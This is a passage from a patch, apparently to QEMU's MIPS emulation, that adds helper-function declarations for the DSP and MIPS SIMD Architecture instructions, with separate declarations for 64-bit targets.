tl, tl) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_1(raddu_l_ob, TCG_CALL_NO_RWG_SE, tl, tl) +#endif +DEF_HELPER_FLAGS_2(absq_s_qb, 0, tl, tl, env) +DEF_HELPER_FLAGS_2(absq_s_ph, 0, tl, tl, env) +DEF_HELPER_FLAGS_2(absq_s_w, 0, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_2(absq_s_ob, 0, tl, tl, env) +DEF_HELPER_FLAGS_2(absq_s_qh, 0, tl, tl, env) +DEF_HELPER_FLAGS_2(absq_s_pw, 0, tl, tl, env) +#endif +DEF_HELPER_FLAGS_2(precr_qb_ph, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_2(precrq_qb_ph, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_3(precr_sra_ph_w, TCG_CALL_NO_RWG_SE, + tl, i32, tl, tl) +DEF_HELPER_FLAGS_3(precr_sra_r_ph_w, TCG_CALL_NO_RWG_SE, + tl, i32, tl, tl) +DEF_HELPER_FLAGS_2(precrq_ph_w, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_3(precrq_rs_ph_w, 0, tl, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_2(precr_ob_qh, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_3(precr_sra_qh_pw, + TCG_CALL_NO_RWG_SE, tl, tl, tl, i32) +DEF_HELPER_FLAGS_3(precr_sra_r_qh_pw, + TCG_CALL_NO_RWG_SE, tl, tl, tl, i32) +DEF_HELPER_FLAGS_2(precrq_ob_qh, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_2(precrq_qh_pw, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_3(precrq_rs_qh_pw, + TCG_CALL_NO_RWG_SE, tl, tl, tl, env) +DEF_HELPER_FLAGS_2(precrq_pw_l, TCG_CALL_NO_RWG_SE, tl, tl, tl) +#endif +DEF_HELPER_FLAGS_3(precrqu_s_qb_ph, 0, tl, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_3(precrqu_s_ob_qh, + TCG_CALL_NO_RWG_SE, tl, tl, tl, env) + +DEF_HELPER_FLAGS_1(preceq_pw_qhl, TCG_CALL_NO_RWG_SE, tl, tl) +DEF_HELPER_FLAGS_1(preceq_pw_qhr, TCG_CALL_NO_RWG_SE, tl, tl) +DEF_HELPER_FLAGS_1(preceq_pw_qhla, TCG_CALL_NO_RWG_SE, tl, tl) +DEF_HELPER_FLAGS_1(preceq_pw_qhra, TCG_CALL_NO_RWG_SE, tl, tl) +#endif +DEF_HELPER_FLAGS_1(precequ_ph_qbl, TCG_CALL_NO_RWG_SE, tl, tl) +DEF_HELPER_FLAGS_1(precequ_ph_qbr, TCG_CALL_NO_RWG_SE, tl, tl) +DEF_HELPER_FLAGS_1(precequ_ph_qbla, TCG_CALL_NO_RWG_SE, tl, tl) +DEF_HELPER_FLAGS_1(precequ_ph_qbra, TCG_CALL_NO_RWG_SE, tl, tl) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_1(precequ_qh_obl, TCG_CALL_NO_RWG_SE, tl, tl) +DEF_HELPER_FLAGS_1(precequ_qh_obr, TCG_CALL_NO_RWG_SE, tl, tl) +DEF_HELPER_FLAGS_1(precequ_qh_obla, TCG_CALL_NO_RWG_SE, tl, tl) +DEF_HELPER_FLAGS_1(precequ_qh_obra, TCG_CALL_NO_RWG_SE, tl, tl) +#endif +DEF_HELPER_FLAGS_1(preceu_ph_qbl, TCG_CALL_NO_RWG_SE, tl, tl) +DEF_HELPER_FLAGS_1(preceu_ph_qbr, TCG_CALL_NO_RWG_SE, tl, tl) +DEF_HELPER_FLAGS_1(preceu_ph_qbla, TCG_CALL_NO_RWG_SE, tl, tl) +DEF_HELPER_FLAGS_1(preceu_ph_qbra, TCG_CALL_NO_RWG_SE, tl, tl) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_1(preceu_qh_obl, TCG_CALL_NO_RWG_SE, tl, tl) +DEF_HELPER_FLAGS_1(preceu_qh_obr, TCG_CALL_NO_RWG_SE, tl, tl) +DEF_HELPER_FLAGS_1(preceu_qh_obla, TCG_CALL_NO_RWG_SE, tl, tl) +DEF_HELPER_FLAGS_1(preceu_qh_obra, TCG_CALL_NO_RWG_SE, tl, tl) +#endif + +/* DSP GPR-Based Shift Sub-class insns */ +DEF_HELPER_FLAGS_3(shll_qb, 0, tl, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_3(shll_ob, 0, tl, tl, tl, env) +#endif +DEF_HELPER_FLAGS_3(shll_ph, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(shll_s_ph, 0, tl, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_3(shll_qh, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(shll_s_qh, 0, tl, tl, tl, env) +#endif +DEF_HELPER_FLAGS_3(shll_s_w, 0, tl, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_3(shll_pw, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(shll_s_pw, 0, tl, tl, tl, env) +#endif +DEF_HELPER_FLAGS_2(shrl_qb, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_2(shrl_ph, TCG_CALL_NO_RWG_SE, tl, tl, tl) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_2(shrl_ob, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_2(shrl_qh, TCG_CALL_NO_RWG_SE, tl, tl, tl) +#endif +DEF_HELPER_FLAGS_2(shra_qb, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_2(shra_r_qb, TCG_CALL_NO_RWG_SE, tl, tl, tl) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_2(shra_ob, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_2(shra_r_ob, TCG_CALL_NO_RWG_SE, tl, tl, tl) +#endif +DEF_HELPER_FLAGS_2(shra_ph, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_2(shra_r_ph, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_2(shra_r_w, TCG_CALL_NO_RWG_SE, tl, tl, tl) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_2(shra_qh, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_2(shra_r_qh, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_2(shra_pw, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_2(shra_r_pw, TCG_CALL_NO_RWG_SE, tl, tl, tl) +#endif + +/* DSP Multiply Sub-class insns */ +DEF_HELPER_FLAGS_3(muleu_s_ph_qbl, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(muleu_s_ph_qbr, 0, tl, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_3(muleu_s_qh_obl, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(muleu_s_qh_obr, 0, tl, tl, tl, env) +#endif +DEF_HELPER_FLAGS_3(mulq_rs_ph, 0, tl, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_3(mulq_rs_qh, 0, tl, tl, tl, env) +#endif +DEF_HELPER_FLAGS_3(muleq_s_w_phl, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(muleq_s_w_phr, 0, tl, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_3(muleq_s_pw_qhl, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(muleq_s_pw_qhr, 0, tl, tl, tl, env) +#endif +DEF_HELPER_FLAGS_4(dpau_h_qbl, 0, void, i32, tl, tl, env) +DEF_HELPER_FLAGS_4(dpau_h_qbr, 0, void, i32, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_4(dpau_h_obl, 0, void, tl, tl, i32, env) +DEF_HELPER_FLAGS_4(dpau_h_obr, 0, void, tl, tl, i32, env) +#endif +DEF_HELPER_FLAGS_4(dpsu_h_qbl, 0, void, i32, tl, tl, env) +DEF_HELPER_FLAGS_4(dpsu_h_qbr, 0, void, i32, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_4(dpsu_h_obl, 0, void, tl, tl, i32, env) +DEF_HELPER_FLAGS_4(dpsu_h_obr, 0, void, tl, tl, i32, env) +#endif +DEF_HELPER_FLAGS_4(dpa_w_ph, 0, void, i32, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_4(dpa_w_qh, 0, void, tl, tl, i32, env) +#endif +DEF_HELPER_FLAGS_4(dpax_w_ph, 0, void, i32, tl, tl, env) +DEF_HELPER_FLAGS_4(dpaq_s_w_ph, 0, void, i32, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_4(dpaq_s_w_qh, 0, void, tl, tl, i32, env) +#endif +DEF_HELPER_FLAGS_4(dpaqx_s_w_ph, 0, void, i32, tl, tl, env) +DEF_HELPER_FLAGS_4(dpaqx_sa_w_ph, 0, void, i32, tl, tl, env) +DEF_HELPER_FLAGS_4(dps_w_ph, 0, void, i32, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_4(dps_w_qh, 0, void, tl, tl, i32, env) +#endif +DEF_HELPER_FLAGS_4(dpsx_w_ph, 0, void, i32, tl, tl, env) +DEF_HELPER_FLAGS_4(dpsq_s_w_ph, 0, void, i32, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_4(dpsq_s_w_qh, 0, void, tl, tl, i32, env) +#endif +DEF_HELPER_FLAGS_4(dpsqx_s_w_ph, 0, void, i32, tl, tl, env) +DEF_HELPER_FLAGS_4(dpsqx_sa_w_ph, 0, void, i32, tl, tl, env) +DEF_HELPER_FLAGS_4(mulsaq_s_w_ph, 0, void, i32, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_4(mulsaq_s_w_qh, 0, void, tl, tl, i32, env) +#endif +DEF_HELPER_FLAGS_4(dpaq_sa_l_w, 0, void, i32, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_4(dpaq_sa_l_pw, 0, void, tl, tl, i32, env) +#endif +DEF_HELPER_FLAGS_4(dpsq_sa_l_w, 0, void, i32, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_4(dpsq_sa_l_pw, 0, void, tl, tl, i32, env) +DEF_HELPER_FLAGS_4(mulsaq_s_l_pw, 0, void, tl, tl, i32, env) +#endif +DEF_HELPER_FLAGS_4(maq_s_w_phl, 0, void, i32, tl, tl, env) +DEF_HELPER_FLAGS_4(maq_s_w_phr, 0, void, i32, tl, tl, env) +DEF_HELPER_FLAGS_4(maq_sa_w_phl, 0, void, i32, tl, tl, env) +DEF_HELPER_FLAGS_4(maq_sa_w_phr, 0, void, i32, tl, tl, env) +DEF_HELPER_FLAGS_3(mul_ph, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(mul_s_ph, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(mulq_s_ph, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(mulq_s_w, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(mulq_rs_w, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_4(mulsa_w_ph, 0, void, i32, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_4(maq_s_w_qhll, 0, void, tl, tl, i32, env) +DEF_HELPER_FLAGS_4(maq_s_w_qhlr, 0, void, tl, tl, i32, env) +DEF_HELPER_FLAGS_4(maq_s_w_qhrl, 0, void, tl, tl, i32, env) +DEF_HELPER_FLAGS_4(maq_s_w_qhrr, 0, void, tl, tl, i32, env) +DEF_HELPER_FLAGS_4(maq_sa_w_qhll, 0, void, tl, tl, i32, env) +DEF_HELPER_FLAGS_4(maq_sa_w_qhlr, 0, void, tl, tl, i32, env) +DEF_HELPER_FLAGS_4(maq_sa_w_qhrl, 0, void, tl, tl, i32, env) +DEF_HELPER_FLAGS_4(maq_sa_w_qhrr, 0, void, tl, tl, i32, env) +DEF_HELPER_FLAGS_4(maq_s_l_pwl, 0, void, tl, tl, i32, env) +DEF_HELPER_FLAGS_4(maq_s_l_pwr, 0, void, tl, tl, i32, env) +DEF_HELPER_FLAGS_4(dmadd, 0, void, tl, tl, i32, env) +DEF_HELPER_FLAGS_4(dmaddu, 0, void, tl, tl, i32, env) +DEF_HELPER_FLAGS_4(dmsub, 0, void, tl, tl, i32, env) +DEF_HELPER_FLAGS_4(dmsubu, 0, void, tl, tl, i32, env) +#endif + +/* DSP Bit/Manipulation Sub-class insns */ +DEF_HELPER_FLAGS_1(bitrev, TCG_CALL_NO_RWG_SE, tl, tl) +DEF_HELPER_FLAGS_3(insv, 0, tl, env, tl, tl) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_3(dinsv, 0, tl, env, tl, tl) +#endif + +/* DSP Compare-Pick Sub-class insns */ +DEF_HELPER_FLAGS_3(cmpu_eq_qb, 0, void, tl, tl, env) +DEF_HELPER_FLAGS_3(cmpu_lt_qb, 0, void, tl, tl, env) +DEF_HELPER_FLAGS_3(cmpu_le_qb, 0, void, tl, tl, env) +DEF_HELPER_FLAGS_2(cmpgu_eq_qb, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_2(cmpgu_lt_qb, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_2(cmpgu_le_qb, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_3(cmp_eq_ph, 0, void, tl, tl, env) +DEF_HELPER_FLAGS_3(cmp_lt_ph, 0, void, tl, tl, env) +DEF_HELPER_FLAGS_3(cmp_le_ph, 0, void, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_3(cmpu_eq_ob, 0, void, tl, tl, env) +DEF_HELPER_FLAGS_3(cmpu_lt_ob, 0, void, tl, tl, env) +DEF_HELPER_FLAGS_3(cmpu_le_ob, 0, void, tl, tl, env) +DEF_HELPER_FLAGS_3(cmpgdu_eq_ob, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(cmpgdu_lt_ob, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(cmpgdu_le_ob, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_2(cmpgu_eq_ob, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_2(cmpgu_lt_ob, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_2(cmpgu_le_ob, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_3(cmp_eq_qh, 0, void, tl, tl, env) +DEF_HELPER_FLAGS_3(cmp_lt_qh, 0, void, tl, tl, env) +DEF_HELPER_FLAGS_3(cmp_le_qh, 0, void, tl, tl, env) +DEF_HELPER_FLAGS_3(cmp_eq_pw, 0, void, tl, tl, env) +DEF_HELPER_FLAGS_3(cmp_lt_pw, 0, void, tl, tl, env) +DEF_HELPER_FLAGS_3(cmp_le_pw, 0, void, tl, tl, env) +#endif +DEF_HELPER_FLAGS_3(pick_qb, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(pick_ph, 0, tl, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_3(pick_ob, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(pick_qh, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(pick_pw, 0, tl, tl, tl, env) +#endif +DEF_HELPER_FLAGS_2(packrl_ph, TCG_CALL_NO_RWG_SE, tl, tl, tl) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_2(packrl_pw, TCG_CALL_NO_RWG_SE, tl, tl, tl) +#endif + +/* DSP Accumulator and DSPControl Access Sub-class insns */ +DEF_HELPER_FLAGS_3(extr_w, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(extr_r_w, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(extr_rs_w, 0, tl, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_3(dextr_w, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(dextr_r_w, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(dextr_rs_w, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(dextr_l, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(dextr_r_l, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(dextr_rs_l, 0, tl, tl, tl, env) +#endif +DEF_HELPER_FLAGS_3(extr_s_h, 0, tl, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_3(dextr_s_h, 0, tl, tl, tl, env) +#endif +DEF_HELPER_FLAGS_3(extp, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(extpdp, 0, tl, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_3(dextp, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(dextpdp, 0, tl, tl, tl, env) +#endif +DEF_HELPER_FLAGS_3(shilo, 0, void, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_3(dshilo, 0, void, tl, tl, env) +#endif +DEF_HELPER_FLAGS_3(mthlip, 0, void, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_3(dmthlip, 0, void, tl, tl, env) +#endif +DEF_HELPER_FLAGS_3(wrdsp, 0, void, tl, tl, env) +DEF_HELPER_FLAGS_2(rddsp, 0, tl, tl, env) + +/* MIPS SIMD Architecture */ +DEF_HELPER_4(msa_andi_b, void, env, i32, i32, i32) +DEF_HELPER_4(msa_ori_b, void, env, i32, i32, i32) +DEF_HELPER_4(msa_nori_b, void, env, i32, i32, i32) +DEF_HELPER_4(msa_xori_b, void, env, i32, i32, i32) +DEF_HELPER_4(msa_bmnzi_b, void, env, i32, i32, i32) +DEF_HELPER_4(msa_bmzi_b, void, env, i32, i32, i32) +DEF_HELPER_4(msa_bseli_b, void, env, i32, i32, i32) +DEF_HELPER_5(msa_shf_df, void, env, i32, i32, i32, i32) + +DEF_HELPER_5(msa_addvi_df, void, env, i32, i32, i32, s32) +DEF_HELPER_5(msa_subvi_df, void, env, i32, i32, i32, s32) +DEF_HELPER_5(msa_maxi_s_df, void, env, i32, i32, i32, s32) +DEF_HELPER_5(msa_maxi_u_df, void, env, i32, i32, i32, s32) +DEF_HELPER_5(msa_mini_s_df, void, env, i32, i32, i32, s32) +DEF_HELPER_5(msa_mini_u_df, void, env, i32, i32, i32, s32) +DEF_HELPER_5(msa_ceqi_df, void, env, i32, i32, i32, s32) +DEF_HELPER_5(msa_clti_s_df, void, env, i32, i32, i32, s32) +DEF_HELPER_5(msa_clti_u_df, void, env, i32, i32, i32, s32) +DEF_HELPER_5(msa_clei_s_df, void, env, i32, i32, i32, s32) +DEF_HELPER_5(msa_clei_u_df, void, env, i32, i32, i32, s32) +DEF_HELPER_4(msa_ldi_df, void, env, i32, i32, s32) + +DEF_HELPER_5(msa_slli_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_srai_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_srli_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_bclri_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_bseti_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_bnegi_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_binsli_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_binsri_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_sat_s_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_sat_u_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_srari_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_srlri_df, void, env, i32, i32, i32, i32) + +DEF_HELPER_5(msa_sll_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_sra_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_srl_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_bclr_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_bset_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_bneg_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_binsl_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_binsr_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_addv_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_subv_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_max_s_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_max_u_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_min_s_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_min_u_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_max_a_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_min_a_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_ceq_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_clt_s_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_clt_u_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_cle_s_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_cle_u_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_add_a_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_adds_a_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_adds_s_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_adds_u_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_ave_s_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_ave_u_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_aver_s_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_aver_u_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_subs_s_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_subs_u_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_subsus_u_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_subsuu_s_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_asub_s_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_asub_u_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_mulv_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_maddv_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_msubv_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_div_s_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_div_u_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_mod_s_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_mod_u_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_dotp_s_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_dotp_u_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_dpadd_s_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_dpadd_u_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_dpsub_s_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_dpsub_u_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_sld_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_splat_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_pckev_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_pckod_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_ilvl_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_ilvr_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_ilvev_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_ilvod_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_vshf_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_srar_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_srlr_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_hadd_s_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_hadd_u_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_hsub_s_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_hsub_u_df, void, env, i32, i32, i32, i32) + +DEF_HELPER_5(msa_sldi_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_splati_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_copy_s_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_copy_u_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_insert_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_insve_df, void, env, i32, i32, i32, i32) +DEF_HELPER_3(msa_ctcmsa, void, env, tl, i32) +DEF_HELPER_2(msa_cfcmsa, tl, env, i32) +DEF_HELPER_3(msa_move_v, void, env, i32, i32) + +DEF_HELPER_5(msa_fcaf_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fcun_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fceq_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fcueq_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fclt_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fcult_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fcle_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fcule_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fsaf_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fsun_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fseq_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fsueq_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fslt_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fsult_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fsle_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fsule_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fadd_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fsub_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fmul_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fdiv_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fmadd_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fmsub_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fexp2_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fexdo_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_ftq_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fmin_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fmin_a_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fmax_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fmax_a_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fcor_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fcune_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fcne_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_mul_q_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_madd_q_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_msub_q_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fsor_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fsune_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_fsne_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_mulr_q_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_maddr_q_df, void, env, i32, i32, i32, i32) +DEF_HELPER_5(msa_msubr_q_df, void, env, i32, i32, i32, i32) + +DEF_HELPER_4(msa_and_v, void, env, i32, i32, i32) +DEF_HELPER_4(msa_or_v, void, env, i32, i32, i32) +DEF_HELPER_4(msa_nor_v, void, env, i32, i32, i32) +DEF_HELPER_4(msa_xor_v, void, env, i32, i32, i32) +DEF_HELPER_4(msa_bmnz_v, void, env, i32, i32, i32) +DEF_HELPER_4(msa_bmz_v, void, env, i32, i32, i32) +DEF_HELPER_4(msa_bsel_v, void, env, i32, i32, i32) +DEF_HELPER_4(msa_fill_df, void, env, i32, i32, i32) +DEF_HELPER_4(msa_pcnt_df, void, env, i32, i32, i32) +DEF_HELPER_4(msa_nloc_df, void, env, i32, i32, i32) +DEF_HELPER_4(msa_nlzc_df, void, env, i32, 